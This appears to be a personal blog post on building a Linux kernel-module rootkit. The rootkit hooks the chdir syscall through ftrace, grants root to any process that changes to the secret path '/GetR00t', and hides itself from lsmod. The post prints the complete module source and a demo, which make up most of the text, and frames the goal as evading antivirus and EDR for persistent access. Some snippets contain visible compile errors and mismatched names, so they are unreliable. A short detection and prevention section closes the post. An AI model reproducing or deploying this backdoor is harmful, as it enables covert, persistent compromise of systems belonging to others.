This research was inspired around my interest for kernels. I wanted to understand more about the internals of computers, lifting off the cover and truly understanding what is happening underneath. I was curios to understand how even the most basic of tasks were translated from high level commands were translated into operations the hardware could understand, like opening a file or running commands within the terminal.

For more details on Linux drivers and the Kernel, please see my other post which goes into more depth Here.

Me before and during making this rootkit: ![[meme.png]]

Why

  • They are cool
  • To learn about the Linux kernel
  • Wanted to make a piece of software to reliably give me root without alerting AV
  • Improve C skills
  • Getting root is fun, but persistence can be tricky especially with current EDRs, AV, SIEMs and SOAR systems. 
  • Why not?

What

  • Essentially a Driver 
  • Complete hostile takeover of a computer
  • A consistent and persistent way to privilege escalate
  • Great for hiding suspicious behaviour

The Linux Kernel

What is a Kernel

A Kernel is essentially just a middle-ware between the OS and the hardware of the system. This can be an entire topic in itself and there are many others who have explained this topic much better than i ever could. I’ll leave some links here:

What is a rootkit

A rootkit is just a driver. Drivers can be user mode, or kernel mode. Essentially they are just a piece of software that allows the hardware to interact with user mode applications on the OS.

There are many types of rootkits, such as Hardware , firmware, Bootloader and Memory rootkits etc but the one I focused on was a Kernel mode rootkit

They are harder to detect because their actions are invisible to the user space and user space tools. Additionally, rootkits operate with the highest system privileges so they have control over any potential detection mechanisms and can implement new OS features to prevent detection

Context

  • Linux is known to be extendable, as such, it makes it really easy to modify on the fly. This means we have the ability to extend the set of features at runtime, which will really help later on as we can insert our drivers into the Kernel while it is still running without needing to reboot.
  • Adding code to the kernel at runtime is called a module. In Linux to view your currently loaded modules you can use lsmod in the terminal. 
    • The driver I am making is also known as a Loadable Kernel Module – this is because a driver is just a piece of code loaded into the kernel.
  • These modules can do lots of things, but they typically are one of three things:
    1. device drivers
    2. filesystem drivers;
    3. system calls
  • Drivers are a great validator because they are very easy to get wrong, and if they are wrong they will most likely crash your system, but if they don’t you know you’re doing well!

Making a simple driver

Linux is very simple and to make a driver there are only two requirements, the inclusion of two functions, module_init and module_exit.

The init function is executed when the module is loaded and the exit function is executed when the module is unloaded. It is typically responsible for clean-up activities.

Before starting to make a rootkit, we need a working driver. To eliminate as many possible reasons as to why our code wont compile or execute, let’s keep it simple. To start we will create a barebones driver that will just print a line to the screen!

#include <linux/init.h>
#include <linux/module.h>

MODULE_LICENSE("No License")

static char *name "user";

module_param(name, charp, S_IRUGO);

static int hello_int(void)
{
	printk(KERN_INFO "Hello %s, Welcome to the world\n", name);
	return 0;
}

static void hello_exit(void)
{
	printk(KERN_INFO "Goodbye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);

You probably noticed something weird about this c code. That is the invocation of the printk() method. Because this module will be executing within kernel space, user mode functions such as printf() won’t work here. Instead of using libc for our functions there is a different library used within the kernel that defines some basic functions we can use.

The module written above can be passed an argument from user-space and will print it back to the screen and output, like with all drivers will be stored in /var/log/syslog.

(kali@kali)-[~/Documents/rootkit]$ sudo insmod rootkitTest.ko name=Tom

(kali@kali)-[~/Documents/rootkit]$ sudo tail -1 /var/log/syslog
Jan 20 06:08:39 kali kernel: [185580.608407] Hello Tom, Welcome to the world

(kali@kali)-[~/Documents/rootkit]$ sudo rmmod rootkitTest

(kali@kali)-[~/Documents/rootkit]$ sudo tail -1 /var/log/syslog
Jan 20 06:08:54 kali kernel: [185595.192900] Goodbye, cruel world

Extending the functionality of our driver

Plan

End Goal Method
To achieve persistent high-level access to a Linux device undetected. Decide on syscall to hook into
Find a way to hook into a syscall
Write methods for old and new kernels
Pull data from syscall
Assign root credentials to current process
Hide module in user-mode

The possibilities of what a rootkit can do are almost endless. To get root I could execute /bin/sh to provide a local high privileged shell, or I could send a reverse shell over TCP. Both of these are likely to get us caught.

Instead, I decided on something a bit more stealthy. Within user space in all operating systems there are user permissions. These provide a way to implement authorisation. Typically, you will have a low privileged user and a high privileged user to handle sensitive tasks. The same is for processes, when a process is executed by a user or another process, usually it will execute within the security context of this user or process, inheriting the permissions it needs to carry out the task. Therefore, there must be a way to control the permissions of a process which we can manipulate to elevate the permissions of our terminal process to be that of root.

As it turns out, there is… The way permissions work in Linux is by storing values of each process somewhere in the kernel. If I could alter these credentials then I could get assign them to be that of root.

In general most rootkits hook into syscalls to alter the functionality of the OS or hook some other system functionality to inject code.

For this to work, the code needs some sort of trigger, as I want to be able to control when I invoke functionality of the rootkit.

To do this I could hook into a syscall and pull some data to use as my trigger. As previously mentioned, I want to stay as hidden as possible so by using some functionality that is commonly found on a Linux system is the best option. 

To understand how we are going to reassign our credentials we need to know some background information:

In Kernels “a process may only alter its own credentials, and may not alter those of another process.”. Therefore, in order to get root, I need to hook a syscall that has my sh process as its current process.

Following from this, “During the execution of a system call, such as open or read, the current process is the one that invoked the call.”. Therefore, I need to choose a syscall that is invoked by my sh process. 

Now if you’re thinking what I was thinking when I first tried this, then this sounds easy, shouldn’t every process executed via command line have its current process as the sh process?

spoiler the answer is No.

I learnt this the hard way. However, the reason behind this is relatively understandable. In order for this to work, the syscall needs to be what’s known as a “built in” command. Built in commands are executed directly in the shell itself, unlike an external executable program which the shell would load and execute separately.

Technicalities

If we are going to use this rootkit to maintain persistence on a device, we want it to be as reliable as possible. Therefore, we need to include code to work on older Kernels. Since version 4.17.0 in 64-bit Kernels, the way in which syscalls are handled changed. So to ensure takeover of all possible kernels I needed to include code to handle both cases.

Deciding on a syscall

chdir

There are a plethora of syscalls we can use. Taking a look here we can see all the built-in syscalls within Linux. I decided to use chdir. It is just a way of moving into and out of directories (exactly like cd).

Just like a normal executable, when we execute a syscall, all of its values will end up on the stack and eventually into the registers on the CPU. We need to be able to read the values of registers to pull data from the syscall. Using the Linux Syscall Reference it is super easy to look up which register we need to read, and what is stored in each register.

However we will not read directly from the register, once the syscall is executed, registers are used to hold data to assist this execution and then the kernel will copy them into a structure called pt_regs.

Looking at the syscall reference from earlier, we know the path name provided as an argument when calling this syscall will be stored in the rdi (this will be referenced as just di later through this post) register.

Therefore, the way I am going to trigger the driver to give me root is pulling the pathname from each execution of chdir and checking if it matches our secret directory name “/GetR00t”. If there’s a match, we can invoke our method to elevate our privileges.

#include <linux/init.h>
#include <linux/module.h>

module_param(name, charp, S_IRUGO);

char __user *filename = (char *)regs->di;
char dir[255] = {0};

long err = strncpy_from_user(dir, filename, 254);

if (err >0)
{
	printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
}

if ((strcmp(dir, "/GetR00t") == 0) && (hide == 0))
{
	printk(KERN_INFO "rootkit: giving root... \n");
	set_root();
	return 0;
}

Including code for all Kernels

  • New kernels: We define a pointer called file name and point this to the di member of thept_regsstructure. Using a function called str_copy_from_user I can copy this value from user space into my directory I defined in kernel space.
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_chdir)(const struct pt_regs *);

asmlinkage int fh_sys_chdir(const struct pt_regs *regs)
{
	void set_root(void);
	void showrootkit(void);

	printk(KERN_INFO "The process is \"%s\" (pid %i) \n", current->comm, current->pid);

	char __user *filename = (char *)regs->di;
	char dir[255] = {0};
	long err = strncpy_from_user(dir, filename, 254);
	
	if (err > 0)
	
	{
	
		printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
	
	}
}
  • Old kernels: Whereas in old kernels I can use the str_copy_from_user function accessing the filename pointer directly without any need for a structure.

static asmlinkage long sys_chdir(const char __user *filename);

asmlinkage int fh_sys_chdir(const char __user *filename)
{
    void set_root(void);
	void showrootkit(void);

	printk(KERN_INFO "Intercepting chdir call (old way)");

    char dir[255] = {0};

    long err = strncpy_from_user(dir, filename, 254);

    if (error > 0)
		{
        printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir);
		}
		
}

Getting root

void set_root(void)
      {
		   void hiderootkit(void);
		   
		   printk(KERN_INFO "set_root called");
		   
		   printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);

		   struct cred *root;
           root = prepare_creds();
           
           if (root == NULL)
           {
               printk(KERN_INFO "root is NULL");
			   return;
           }

			printk(KERN_INFO "Setting privileges... ");
           /* Run through and set all the various *id's of the current user and set them all to 0 (root) */
            root->uid.val = root->gid.val = 0;
            root->euid.val = root->egid.val = 0;
            root->suid.val = root->sgid.val = 0;
            root->fsuid.val = root->fsgid.val = 0;


           /* Set the credentials to root */
		   printk(KERN_INFO "Commiting creds");
           commit_creds(root);
		   
		   
		   /* Hide rootkit once root has been given */
		   printk(KERN_INFO "Hiding rootkit \n");
		   hiderootkit();
		   hide = 1;
      }

Once the secret directory is found, the set_root() function is called. A pointer is defined which points to the special structure called cred. This structure is how Linux stores the credentials for processes. Before we can re-assign our current processes credentials we need to fill this structure with the current values. To do this, we call prepare_creds() which will fill the structure with the current processes credentials.

We then reference each item in this structure and reassign each value to be 0 (equal to root).

The method then calls the hiderootkit() function. And assigns hide=1 telling the program the module is currently hidden. More on this later…

Hiding the module

The way modules are stored in the kernel is pretty messy but essentially When a user runs lsmod, a linked list called list_head is referenced which stores a list of modules currently loaded in the Kernel.

Linked lists are a bit different to normal lists. Each item in the list points to the item before and after it allowing it to maintain an ordered list. For example item one points to just item 2 because there is nothing before it. Item 2 points to item 1 and item 3.

Because we want to replace our module in this list to be able to remove it from the Kernel later on we need to store its position for later. By grabbing the values of the which items our module points to in this list means it can be put in back in the same place later on. Some handy functions called list_add and list_del make this really easy.

I use the “hide” variable to determine if the module is currently hidden or visible, which allows you to switch between them if needed.

static struct list_head *prev_module;
void hiderootkit(void)
	{
	prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);

	}


void showrootkit(void)
	{
	list_add(&THIS_MODULE->list, prev_module);
	}

if ( (strcmp(dir, "/GetR00t") == 0) && (hide == 0) )
        {
            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            return 0;
        }
	
	else if ( (strcmp(dir, "/GetR00t") == 0) && (hide == 1) )
        {
			printk(KERN_INFO "showing rootkit \n");
			showrootkit();
			hide = 0;
            return 0;
        }

	printk(KERN_INFO "ORIGINAL CALL");
	return orig_chdir(regs);

Demo

(kali@kali)-[~/Documents/rootkit]$ sudo insmod rootkit.ko

(kali@kali)-[~/Documents/rootkit]$ lsmod | grep -i root
rootkit                         20480 0

(kali@kali)-[~/Documents/rootkit]$ chdir /GetR00t

(root@kali)-[~/Documents/rootkit]$ lsmod | grep -i root

(root@kali)-[~/Documents/rootkit]$ chdir /GetR00t

(root@kali)-[~/Documents/rootkit]$ lsmod | grep -r root
rootkit                         20480 0

Our final code can be seen below. Alternatively, heres a link to the code on GitHub

In order to handle the hooking of syscalls I used some codeI found online which utilises ftrace (a tracing framework for Linux Kernels - very similar to strace).

/*
 * Hooking kernel functions using ftrace framework
 *
 * Copyright (c) 2018 ilammy
 */

#define pr_fmt(fmt) "ftrace_hook: " fmt

#include <linux/ftrace.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/linkage.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>
#include <linux/kprobes.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/cred.h>
#include <linux/unistd.h>



MODULE_DESCRIPTION("Example module hooking mkdir() via ftrace");
MODULE_AUTHOR("ilammy <a.lozovsky@gmail.com> && Thomas Byrne");
MODULE_LICENSE("GPL");

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
static unsigned long lookup_name(const char *name)
{
	struct kprobe kp = {
		.symbol_name = name
	};
	unsigned long retval;

	if (register_kprobe(&kp) < 0) return 0;
	retval = (unsigned long) kp.addr;
	unregister_kprobe(&kp);
	return retval;
}
#else
static unsigned long lookup_name(const char *name)
{
	return kallsyms_lookup_name(name); // finds address of syscall i.e. sys_mkdir
}
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0)
#define FTRACE_OPS_FL_RECURSION FTRACE_OPS_FL_RECURSION_SAFE
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0)
#define ftrace_regs pt_regs



static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs)
{
	return fregs;
}
#endif

/*
 * There are two ways of preventing vicious recursive loops when hooking:
 * - detect recusion using function return address (USE_FENTRY_OFFSET = 0)
 * - avoid recusion by jumping over the ftrace call (USE_FENTRY_OFFSET = 1)
 */
#define USE_FENTRY_OFFSET 0

/**
 * struct ftrace_hook - describes a single hook to install
 *
 * @name:     name of the function to hook
 *
 * @function: pointer to the function to execute instead
 *
 * @original: pointer to the location where to save a pointer
 *            to the original function
 *
 * @address:  kernel address of the function entry
 *
 * @ops:      ftrace_ops state for this function hook
 *
 * The user should fill in only &name, &hook, &orig fields.
 * Other fields are considered implementation details.
 */
struct ftrace_hook {
	const char *name;
	void *function;
	void *original;

	unsigned long address;
	struct ftrace_ops ops;
};

static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
	hook->address = lookup_name(hook->name);

	if (!hook->address) {
		pr_debug("unresolved symbol: %s\n", hook->name);
		return -ENOENT;
	}

#if USE_FENTRY_OFFSET
	*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
	*((unsigned long*) hook->original) = hook->address;
#endif

	return 0;
}

static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
		struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
	struct pt_regs *regs = ftrace_get_regs(fregs);
	struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

#if USE_FENTRY_OFFSET
	regs->ip = (unsigned long)hook->function;
#else
	if (!within_module(parent_ip, THIS_MODULE))
		regs->ip = (unsigned long)hook->function;
#endif
}

/**
 * fh_install_hooks() - register and enable a single hook
 * @hook: a hook to install
 *
 * Returns: zero on success, negative error code otherwise.
 */
int fh_install_hook(struct ftrace_hook *hook)
{
	int err;

	err = fh_resolve_hook_address(hook);
	if (err)
		return err;

	/*
	 * We're going to modify %rip register so we'll need IPMODIFY flag
	 * and SAVE_REGS as its prerequisite. ftrace's anti-recursion guard
	 * is useless if we change %rip so disable it with RECURSION.
	 * We'll perform our own checks for trace function reentry.
	 */
	hook->ops.func = fh_ftrace_thunk;
	hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
	                | FTRACE_OPS_FL_RECURSION
	                | FTRACE_OPS_FL_IPMODIFY;

	err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
	if (err) {
		pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
		return err;
	}

	err = register_ftrace_function(&hook->ops);
	if (err) 
	{
		pr_debug("register_ftrace_function() failed: %d\n", err);
		ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
		return err;
	}

	return 0;
}

/**
 * fh_remove_hooks() - disable and unregister a single hook
 * @hook: a hook to remove
 */
void fh_remove_hook(struct ftrace_hook *hook)
{
	int err;

	err = unregister_ftrace_function(&hook->ops);
	if (err) {
		pr_debug("unregister_ftrace_function() failed: %d\n", err);
	}

	err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
	if (err) {
		pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
	}
}

/**
 * fh_install_hooks() - register and enable multiple hooks
 * @hooks: array of hooks to install
 * @count: number of hooks to install
 *
 * If some hooks fail to install then all hooks will be removed.
 *
 * Returns: zero on success, negative error code otherwise.
 */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
	int err;
	size_t i;

	for (i = 0; i < count; i++) {
		err = fh_install_hook(&hooks[i]);
		if (err)
			goto error;
	}

	return 0;

error:
	while (i != 0) {
		fh_remove_hook(&hooks[--i]);
	}

	return err;
}

/**
 * fh_remove_hooks() - disable and unregister multiple hooks
 * @hooks: array of hooks to remove
 * @count: number of hooks to remove
 */
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
	size_t i;

	for (i = 0; i < count; i++)
		fh_remove_hook(&hooks[i]);
}

#ifndef CONFIG_X86_64
#error Currently only x86_64 architecture is supported
#endif

// Checking kenerl version (changes were made after 4.17.0 so need to be handled differently)
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif

/*
 * Tail call optimization can interfere with recursion detection based on
 * return address on the stack. Disable it to avoid machine hangups.
 */
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif



static short hide = 0;

// Start of hooks ---------------------------------------------------------

#ifdef PTREGS_SYSCALL_STUBS
//NEW WAY 

static asmlinkage long (*orig_chdir)(const struct pt_regs *);

asmlinkage int fh_sys_chdir(const struct pt_regs *regs)
{
    void set_root(void);
	void showrootkit(void);

	printk(KERN_INFO "Intercepting chdir call");
	
    
    char __user *filename = (char *)regs->di;
    char dir[255] = {0};

    long err = strncpy_from_user(dir, filename, 254);

	
    if (err > 0)
		{
        printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
		}
		


    if ( (strcmp(dir, "/GetR00t") == 0) && (hide == 0) )
        {
            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            return 0;
        }
	
	else if ( (strcmp(dir, "/GetR00t") == 0) && (hide == 1) )
        {
			printk(KERN_INFO "showing rootkit \n");
			showrootkit();
			hide = 0;
            return 0;
        }

	printk(KERN_INFO "ORIGINAL CALL");
	return orig_chdir(regs);
	
	
}
#else
static asmlinkage long sys_chdir(const char __user *filename);

asmlinkage int fh_sys_chdir(const char __user *filename)
{
    void set_root(void);
	void showrootkit(void);

	printk(KERN_INFO "Intercepting chdir call (old way)");

    char dir[255] = {0};

    long err = strncpy_from_user(dir, filename, 254);

    if (error > 0)
		{
        printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir);
		}

	if ( (strcmp(dir, "/GetR00t") == 0) && (hide == 0) )
        {
            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            return 0;
        }

	else ( (strcmp(dir, "/GetR00t") == 0) && (hide == 1) )
        {
			printk(KERN_INFO "showing rootkit \n");
			showrootkit();
			hide = 0;
            return 0;
        }
	
    
	return orig_chdir(filename);
		
}
#endif



void set_root(void)
      {
		   void hiderootkit(void);
		   
		   printk(KERN_INFO "set_root called");
		   
		   printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);

		   struct cred *root;
           root = prepare_creds();
           
           if (root == NULL)
           {
               printk(KERN_INFO "root is NULL");
			   return;
           }

			printk(KERN_INFO "Setting privileges... ");
           /* Run through and set all the various *id's of the current user and set them all to 0 (root) */
            root->uid.val = root->gid.val = 0;
            root->euid.val = root->egid.val = 0;
            root->suid.val = root->sgid.val = 0;
            root->fsuid.val = root->fsgid.val = 0;


           /* Set the credentials to root */
		   printk(KERN_INFO "Commiting creds");
           commit_creds(root);
		   
		   
		   /* Hide rootkit once root has been given */
		   printk(KERN_INFO "Hiding rootkit \n");
		   hiderootkit();
		   hide = 1;
      }




static struct list_head *prev_module;
void hiderootkit(void)
	{
	prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);

	}


void showrootkit(void)
	{
	list_add(&THIS_MODULE->list, prev_module);
	}



/*
 * x86_64 kernels have a special naming convention for syscall entry points in newer kernels.
 * That's what you end up with if an architecture has 3 (three) ABIs for system calls.
 */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) ("__x64_" name)
#else
#define SYSCALL_NAME(name) (name)
#endif

#define HOOK(_name, _function, _original)	\
	{					\
		.name = SYSCALL_NAME(_name),	\
		.function = (_function),	\
		.original = (_original),	\
	}

static struct ftrace_hook demo_hooks[] = {
	HOOK("sys_chdir",  fh_sys_chdir,  &orig_chdir)
};

static int rootkit_init(void)
{
	int err;

	err = fh_install_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));
	if (err)
		return err;

	printk(KERN_INFO "module loaded\n");

	return 0;
}


static void rootkit_exit(void)
{
	fh_remove_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));

	printk(KERN_INFO "module unloaded\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

Detection

  • Taking hashes of certain parts of the kernel memory space to detect any changes
  • If hooking kill, look for unused signals being called with kill
  • The kill syscall has been used before in well known rootkits. Kill is just a way of sending signals to programs, it’s not just a way to stop programs from running. There are 31 signals you can send. However, when used in rootkits, unused signals such as 64 are used to trigger code in their rootkit. Looking for anyone running kill commands with unused signals can be a sign of malicious activity.

Prevention

  • Disable loading LKMs at runtime

References